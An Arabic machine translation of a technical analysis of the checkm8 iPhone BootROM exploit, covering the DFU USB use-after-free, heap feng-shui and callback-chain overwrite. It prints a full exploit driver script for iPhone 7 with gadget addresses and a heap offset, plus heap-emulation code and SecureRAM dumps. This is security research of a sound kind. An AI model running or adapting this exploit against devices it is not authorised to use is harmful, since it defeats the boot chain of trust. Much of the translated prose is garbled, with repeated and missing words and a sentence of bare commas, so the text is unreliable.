التحليل الفني لل checkm8 استغلال


مع احتمال كبير كنت قد سمعت بالفعل عن استغلال checkm8 المثيرة ، والذي يستخدم ثغرة أمنية غير قابلة للاسترداد في BootROM لمعظم iDevices ، بما في ذلك iPhone X في هذه المقالة ، سوف نقدم تحليلًا تقنيًا للاستغلال وننظر في أسباب الضعف. أي شخص مهتم - مرحبا بكم تحت خفض!


يمكنك قراءة النسخة الإنجليزية من المقال هنا .


مقدمة


أولاً ، BootROM بإيجاز عملية التمهيد iDevice ومعرفة المكان الذي يشغل فيه BootROM (يمكن أيضًا تسميته SecureROM ) ولماذا هناك حاجة إليه. معلومات مفصلة تماما حول هذا هنا . يمكن تمثيل عملية التمهيد المبسطة على النحو التالي:



BootROM هو أول شيء BootROM المعالج عند تشغيل الجهاز. المهام الرئيسية لل BootROM :


  • تهيئة النظام الأساسي (إعداد سجلات النظام الأساسي اللازمة ، تهيئة CPU ، وما إلى ذلك)
  • التحقق ونقل السيطرة إلى المرحلة التالية من التحميل
    • يدعم BootROM تحليل الصور IMG3/IMG4
    • لدى BootROM حق الوصول إلى مفتاح GID لفك تشفير الصور
    • للتحقق من الصور ، يحتوي BootROM على مفتاح Apple مضمن ، وهناك الوظائف اللازمة للعمل مع التشفير
  • استرداد الجهاز إذا تعذر تنزيله ( Device Firmware Update ، DFU )

BootROM صغير جدًا ، ويمكن تسميته نسخة مجردة من iBoot ، حيث إنهما يشتركان في معظم كود النظام والمكتبة. ومع ذلك ، بخلاف iBoot ، لا يمكن تحديث BootROM . يتم وضعها في الذاكرة الداخلية للقراءة فقط عند تصنيع الجهاز. BootROM هو جذر الأجهزة من سلسلة الثقة التمهيد. يمكن أن تسمح الثغرات الأمنية فيه بالتحكم في عملية التنزيل الإضافية وتنفيذ التعليمات البرمجية غير الموقعة على الجهاز.



ظهور checkm8


تمت إضافة checkm8 استغلال إلى الأداة المساعدة ipwndfu بواسطة مؤلفها axi0mX في 27 سبتمبر 2019. ثم أعلن عن تحديث على حسابه على Twitter ، مصحوبًا بوصف للاستغلال ومعلومات إضافية. يمكنك أن تكتشف من الخيط أنه تم العثور على ثغرة use-after-free في كود USB من قبل المؤلف أثناء عملية نشر التصحيح iBoot لـ iOS 12 beta في صيف عام 2018. كما ذكرنا سابقًا ، BootROM و iBoot على الكثير من التعليمات البرمجية الشائعة ، بما في ذلك الكود الخاص بـ USB ، وهذا هو السبب في أن BootROM عدم الحصانة هذه BootROM أيضًا بـ BootROM .


ويترتب على ذلك أيضًا من رمز الاستغلال استغلال الثغرة الأمنية في DFU . هذا وضع يمكن من خلاله نقل صورة موقعة إلى الجهاز عبر USB ، وسيتم تنزيله لاحقًا. قد يكون هذا مطلوبًا ، على سبيل المثال ، لاستعادة الجهاز إذا لم ينجح التحديث.


في اليوم نفسه ، أبلغ littlelailo أنه عثر على مشكلة عدم الحصانة هذه في مارس ونشر وصفه في ملف apollo.txt . يتوافق الوصف مع ما يحدث في كود checkm8 ، لكنه لا يوضح تفاصيل الاستغلال بشكل كامل. لذلك ، قررنا كتابة هذه المقالة ووصف جميع تفاصيل العملية حتى تنفيذ الحمولة النافعة في BootROM شاملة.


لقد أجرينا تحليلًا للاستغلال استنادًا إلى المواد المذكورة مسبقًا ، بالإضافة إلى شفرة مصدر iBoot/SecureROM تسربت في فبراير 2018. استخدمنا أيضًا البيانات التي تم الحصول عليها تجريبياً على جهاز الاختبار الخاص بنا - iPhone 7 ( CPID:8010 ). باستخدام checkm8 أزلنا مقالب SecureRAM و SecureRAM منه ، مما ساعدنا في التحليل.


المعرفة USB الأساسية


توجد مشكلة عدم الحصانة المكتشفة في رمز USB ، لذلك يلزم معرفة بعض هذه الواجهة. يمكنك قراءة المواصفات الكاملة هنا ، لكنها ضخمة جدًا. مادة ممتازة ، أكثر من كافية لمزيد من الفهم ، هي USB في NutShell . هنا نعطي فقط الأكثر ضرورة.


هناك أنواع مختلفة من نقل بيانات USB . لا تستخدم DFU سوى وضع Control Transfers (يمكنك القراءة عنه هنا ). تتكون كل معاملة في هذا الوضع من ثلاث مراحل:



  • Setup Stage - في هذه المرحلة ، يتم إرسال حزمة SETUP ، والتي تتكون من الحقول التالية:
    • bmRequestType - يصف اتجاه ونوع ومتلقي الطلب
    • bRequest - يحدد الطلب الذي تم تقديمه
    • wValue ، wIndex - حسب الطلب ، يمكن تفسيرها بشكل مختلف
    • طول - طول البيانات المستلمة / المرسلة في Data Stage
  • Data Stage - مرحلة اختيارية يتم فيها نقل البيانات. بناءً على حزمة SETUP من المرحلة السابقة ، قد يكون هذا هو إرسال البيانات من المضيف إلى الجهاز ( OUT ) أو العكس ( IN ). يتم إرسال البيانات في أجزاء صغيرة (في حالة Apple DFU ، يكون 0x40 بايت).
    • عندما يريد المضيف نقل الدفعة التالية من البيانات ، يرسل رمز OUT ، وبعد ذلك يتم إرسال البيانات نفسها.
    • عندما يكون المضيف جاهزًا لاستلام البيانات من الجهاز ، فإنه يرسل رمزًا IN ، رداً على الجهاز الذي يقوم بإرسال البيانات إليه.
  • Status Stage - Status Stage النهائية التي يتم فيها الإبلاغ عن حالة المعاملة بالكامل.
    • بالنسبة لطلبات OUT ، يرسل المضيف رمز IN ، استجابةً للجهاز الذي يجب عليه إرسال حزمة بيانات ذات طول صفري.
    • بالنسبة لطلبات IN ، يرسل المضيف رمز OUT وحزمة بيانات ذات طول صفري.

يتم عرض استفسارات OUT و IN في الرسم البياني أدناه. لقد أزلنا عن قصد ACK و NACK وحزم المصافحة الأخرى من مخطط الوصف والتفاعل ، لأنها لا تلعب دورًا خاصًا في استغلال نفسها.



تحليل apollo.txt


بدأنا التحليل من خلال تحليل الثغرة الأمنية من وثيقة apollo.txt . يصف خوارزمية وضع DFU :


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. عندما يبدأ usb في الحصول على صورة عبر dfu ، يسجل dfu واجهة للتعامل مع جميع الأوامر ويخصص مخزن مؤقت للإدخال والإخراج
  2. إذا قمت بإرسال البيانات إلى dfu ، تتم معالجة حزمة الإعداد بواسطة الكود الرئيسي الذي يستدعي رمز الواجهة
  3. يتحقق رمز الواجهة من أن طول الطول أقصر من طول مخزن الإدخال المؤقت المؤقت وإذا كان هذا هو الحال ، فإنه يتم تحديث مؤشر تم تمريره كوسيطة مع مؤشر إلى المخزن المؤقت لمخرج الإدخال
  4. ثم تقوم بإرجاع wLength وهو الطول الذي تريد استقباله في المخزن المؤقت
  5. يقوم الكود الرئيسي لـ usb بتحديث var عالمي بطوله ويستعد لاستلام حزم البيانات
  6. في حالة تلقي حزمة بيانات ، يتم كتابتها إلى المخزن المؤقت لمخرج الإدخال عبر المؤشر الذي تم تمريره كوسيطة ويتم استخدام متغير عمومي آخر لتتبع عدد البايتات التي تم استلامها بالفعل
  7. إذا تم استلام جميع البيانات ، يتم استدعاء رمز dfu المحدد مرة أخرى ، ثم يستمر في نسخ محتويات المخزن المؤقت لمخرج الإدخال إلى موقع الذاكرة من حيث يتم تمهيد الصورة لاحقًا
  8. بعد ذلك ، يقوم رمز USB بإعادة ضبط جميع المتغيرات ويمضي في معالجة الحزم الجديدة
  9. إذا تم إنهاء dfu ، يتم تحرير المخزن المؤقت لمخرج الإدخال وإذا فشل تحليل الصورة فيتم إعادة قراءة bootrom

أولاً ، قارنا الخطوات الموضحة iBoot مصدر iBoot . نظرًا SecureROM لا يمكننا استخدام أجزاء من شفرة المصدر المسربة في المقالة ، فسوف نعرض الكود الكود الذي تم الحصول عليه عن طريق SecureROM العكسي SecureROM iPhone 7 الخاص بنا في IDA . يمكنك بسهولة العثور على الكود المصدري لـ iBoot والتنقل فيه.


عند تهيئة وضع DFU ، يتم تخصيص مخزن مؤقت IO وتسجيل واجهة USB لمعالجة الطلبات إلى DFU :



عندما تصل حزمة طلب SETUP إلى DFU ، يتم استدعاء معالج الواجهة المقابل. في حالة التنفيذ الناجح لطلب OUT (على سبيل المثال ، عند نقل الصورة) ، يجب على المعالج إرجاع عنوان المخزن المؤقت IO للمعاملة وحجم البيانات التي يتوقع تلقيها بواسطة المؤشر. في هذه الحالة ، يتم تخزين عنوان المخزن المؤقت وحجم البيانات المتوقعة في متغيرات عمومية.



يظهر معالج واجهة DFU في لقطة الشاشة أدناه. إذا كان الطلب صحيحًا ، فسيتم إرجاع المؤشر بواسطة عنوان المخزن المؤقت IO المخصص في مرحلة تهيئة DFU وطول البيانات المتوقعة ، والتي يتم أخذها من حزمة SETUP .



أثناء Data Stage كل جزء من البيانات إلى المخزن المؤقت IO ، وبعد ذلك يتم IO عنوان المخزن المؤقت IO ويتم تحديث عداد البيانات المستلمة. بعد استلام جميع البيانات المتوقعة ، يتم استدعاء معالج بيانات الواجهة وإلغاء حالة النقل العام.



في معالج بيانات DFU ، يتم نقل البيانات المستلمة إلى منطقة الذاكرة التي سيستمر التنزيل منها. اذا حكمنا من خلال كود مصدر iBoot ، تسمى منطقة الذاكرة في Apple INSECURE_MEMORY .



عند الخروج من وضع DFU ، سيتم تحرير المخزن المؤقت IO المخصص مسبقًا. إذا تم استلام الصورة بنجاح في وضع DFU ، فسيتم فحصها وتحميلها. إذا حدث خطأ أثناء تشغيل وضع DFU أو كان من المستحيل تحميل الصورة الناتجة ، فسيتم إعادة تهيئة وحدة DFU وسيبدأ كل شيء من جديد.


في الخوارزمية الموضحة تكمن ثغرة use-after-free . في حالة التمهيد ، أرسل حزمة SETUP وأكمل المعاملة بتخطي " Data Stage ، وستبقى الحالة العامة قيد التهيئة عند إعادة الدخول إلى دورة DFU ، وسنكون قادرين على الكتابة إلى عنوان المخزن المؤقت IO المخصص في تكرار DFU السابق.


بعد أن تعاملنا مع مشكلة عدم use-after-free ، تساءلنا: كيف يمكنني الكتابة فوق شيء خلال التكرار التالي من DFU ؟ بعد كل شيء ، قبل إعادة تهيئة وحدة DFU يتم تحرير جميع الموارد المخصصة مسبقًا ، وينبغي أن يكون موقع الذاكرة في التكرار الجديد هو نفسه تمامًا. لقد تبيّن أن هناك خطأ آخر في تسريب الذاكرة مثير للاهتمام وجمال ، يتيح استغلال ثغرة use-after-free ، والتي سنناقشها لاحقًا.


Checkm8 التحليل


ننتقل مباشرة إلى تحليل checkm8 استغلال. للبساطة ، سنقوم بتحليل نسخة معدلة من استغلال لجهاز iPhone 7 ، حيث تمت إزالة الكود المرتبط بالمنصات الأخرى ، وتم تغيير تسلسل وأنواع طلبات USB دون فقدان الاستغلال. أيضًا في هذا الإصدار ، تتم إزالة عملية إنشاء الحمولة ، ويمكن العثور عليها في ملف checkm8.py الأصلي. يجب ألا يكون فهم الاختلافات بين إصدارات الأجهزة الأخرى أمرًا صعبًا.


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

يمكن تقسيم عمل checkm8 إلى عدة مراحل:


  1. إعداد كومة ( heap feng-shui )
  2. تخصيص وإصدار IO المخزن المؤقت دون مسح الحالة العالمية
  3. الكتابة فوق usb_device_io_request على الكومة مع use-after-free
  4. وضع الحمولة
  5. تنفيذ callback-chain
  6. تنفيذ shellcode

النظر في كل مرحلة من المراحل بالتفصيل.


1. إعداد كومة (كومة فنغ شوي)


يبدو لنا أن هذه هي المرحلة الأكثر إثارة للاهتمام ، وقد أولينا اهتمامًا خاصًا بها.


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

هذه الخطوة ضرورية لتحقيق حالة كومة مريحة للتشغيل use-after-free . للبدء ، ضع في اعتبارك stall ، leak ، no_leak :


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer عبارة عن مجمّع عبر device.ctrlTransfer مع تجاهل أي استثناءات حدثت أثناء تنفيذ الطلب. libusb1_async_ctrl_transfer - التفاف على دالة libusb من libusb لتنفيذ الاستعلام غير المتزامن.


كلا المكالمات قبول المعلمات التالية:


  • مثيل الجهاز
  • بيانات حزمة SETUP (وصفها هنا ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • حجم البيانات ( wLength ) أو Data Stage
  • طلب مهلة

تعد الوسائط bmRequestType و bRequest و wValue و wIndex شائعة في جميع أنواع الاستعلامات الثلاثة. يقصدون:


  • bmRequestType = 0x80
    • 0b1XXXXXXX - اتجاه Data Stage من الجهاز إلى المضيف (الجهاز إلى المضيف)
    • 0bX00XXXXX - نوع الطلب القياسي
    • 0bXXX00000 - جهاز استقبال الطلب - الجهاز
  • bRequest = 6 - طلب واصف ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - يحدد نوع الواصف المراد استلامه - السلسلة ( USB_DT_STRING )
    • wValueLow = 0x4 هو فهرس واصف السلسلة ، 4 يتوافق مع الرقم التسلسلي للجهاز (في هذه الحالة ، تبدو السلسلة مثل CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - معرف لغة السلسلة ، قيمتها ليست مهمة للتشغيل ويمكن تغييرها.

لأي من هذه الطلبات الثلاثة ، يتم تخصيص 0x30 بايت على كومة الذاكرة المؤقتة لكائن البنية التالية:



الحقول الأكثر إثارة لهذا الكائن هي callback next .


  • callback - مؤشر إلى دالة سيتم استدعاؤها عند اكتمال الطلب.
  • next - مؤشر إلى الكائن التالي من نفس النوع ، وهو ضروري لطلبات قائمة الانتظار.

تتمثل الميزة الرئيسية لاستدعاء stall في استخدام التنفيذ غير المتزامن للطلب مع أقل مهلة. لهذا السبب ، إذا كنت محظوظًا ، فسيتم إلغاء الطلب على مستوى نظام التشغيل وسيظل في قائمة انتظار التنفيذ ، ولن يتم إكمال المعاملة. في نفس الوقت ، سيستمر الجهاز في قبول جميع حزم SETUP الواردة ، وإذا لزم الأمر ، وضعها في قائمة انتظار التنفيذ. في وقت لاحق ، باستخدام تجارب مع USB على Arduino تمكنا من اكتشاف أنه من أجل التشغيل الناجح ، يجب على المضيف إرسال حزمة SETUP ورمز IN ، وبعد ذلك يجب إلغاء المعاملة بحلول مهلة. بشكل تخطيطي ، يمكن تمثيل هذه المعاملة غير المكتملة كما يلي:



بقية الطلبات تختلف فقط في الطول وفقط واحد. الحقيقة هي أنه بالنسبة للاستعلامات القياسية ، يوجد callback اتصال قياسي يشبه هذا:



قيمة io_length تساوي الحد الأدنى wLength في حزمة SETUP للطلب والطول الأصلي wLength المطلوب. نظرًا لحقيقة أن الواصف طويل بما فيه الكفاية ، يمكننا التحكم بدقة في قيمة الطول io_length ضمن طوله. قيمة g_setup_request.wLength تساوي قيمة wLength لحزمة SETUP الأخيرة ، في هذه الحالة ، 0xC1 .


وبالتالي ، عند الانتهاء من الاستعلامات التي تم إنشاؤها باستخدام stall leak المكالمات ، يتم استيفاء الشرط في وظيفة callback النهائية ، ويتم usb_core_send_zlp() . تقوم هذه المكالمة ببساطة بإنشاء zero-length-packet إلى قائمة انتظار التنفيذ. يعد ذلك ضروريًا لإكمال المعاملة بشكل صحيح في Status Stage .


ينتهي الطلب بمكالمة إلى وظيفة usb_core_complete_endpoint_io ، والتي تستدعي أولاً callback ثم تحرر ذاكرة الطلب. في هذه الحالة ، يمكن أن يحدث إكمال الطلب ليس فقط عند اكتمال المعاملة بالكامل بالفعل ، ولكن أيضًا عند إعادة تعيين USB . بمجرد تلقي إشارة إعادة تعيين USB ، سيتم تجاوز قائمة انتظار الطلب وسيتم إكمال كل منها.


نظرًا usb_core_send_zlp() الانتقائي إلى usb_core_send_zlp() ، وتجاوز قائمة انتظار الطلب ثم usb_core_send_zlp() ، يمكنك تحقيق تحكم كومة كافٍ use-after-free . أولاً ، دعونا نلقي نظرة على دورة الإصدار نفسها:



يتم مسح قائمة انتظار الطلب أولاً ، ثم يتم usb_core_complete_endpoint_io إلى الطلبات الملغاة ، ويتم إكمالها عن طريق الاتصال بـ usb_core_complete_endpoint_io . في الوقت نفسه ، يتم وضع الطلبات المحددة باستخدام usb_core_send_zlp في ep->io_head . بعد اكتمال إجراء إعادة تعيين USB إعادة تعيين جميع المعلومات حول نقطة النهاية ، بما في ذلك io_tail و io_tail ، وستظل الطلبات ذات الطول الصفري على الكومة. حتى تتمكن من إنشاء جزء صغير في منتصف بقية الكومة. يوضح الرسم البياني أدناه كيف يحدث هذا:



تم تصميم كومة الذاكرة المؤقتة في SecureROM بحيث يتم تخصيص مساحة جديدة من الذاكرة من قطعة حرة مناسبة من أصغر حجم. بإنشاء جزء صغير مجاني حسب الطريقة الموضحة أعلاه ، يمكنك التأثير على تخصيص الذاكرة أثناء تهيئة USB وتخصيص io_buffer والطلبات.


لفهم أفضل ، دعنا نتعرف على طلبات الكومة التي تحدث أثناء تهيئة DFU . أثناء تحليل شفرة مصدر iBoot والهندسة العكسية لـ iBoot SecureROM تمكنا من الحصول على التسلسل التالي:


    1. تخصيص مختلف واصفات السلسلة
      • 1.1. Nonce (الحجم 234 )
      • 1.2. Manufacturer ( 22 )
      • 1.3. Product ( 62 )
      • 1.4. Serial Number ( 198 )
      • 1.5. Configuration string ( 62 )

    1. تخصيص يرتبط مع إنشاء مهمة USB
      • 2.1. هيكل المهمة ( 0x3c0 )
      • 2.2. مهمة المكدس ( 0x1000 )

    1. io_buffer ( 0x800 )

    1. واصفات التكوين
      • 4.1. High-Speed ( 25 )
      • 4.2. Full-Speed ( 25 )


ثم هناك تخصيص هياكل الطلب. إذا كان هناك جزء صغير في منتصف مساحة الكومة ، usb_device_io_request بعض التخصيصات من الفئة الأولى إلى هذه القطعة ، usb_device_io_request جميع التخصيصات الأخرى ، نظرًا usb_device_io_request يمكننا تجاوز usb_device_io_request ، في إشارة إلى المخزن المؤقت القديم. من الناحية التخطيطية ، يمكن تمثيل ذلك على النحو التالي:



لحساب التحيز الضروري ، قررنا ببساطة محاكاة التخصيصات المذكورة أعلاه ، مع تكييف شفرة مصدر كومة iBoot .


DFU كومة مضاهاة
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); //        SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

إخراج البرنامج مع 8 طلبات في مرحلة heap feng-shui :


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

سيكون usb_device_io_request التالي في الإزاحة 0x5c0 من بداية المخزن المؤقت السابق ، والذي يتوافق مع رمز الاستغلال:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

, SecureRAM , checkm8 . , . , usb_device_io_request , .


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): #    this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

. , .


SecureRAM
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 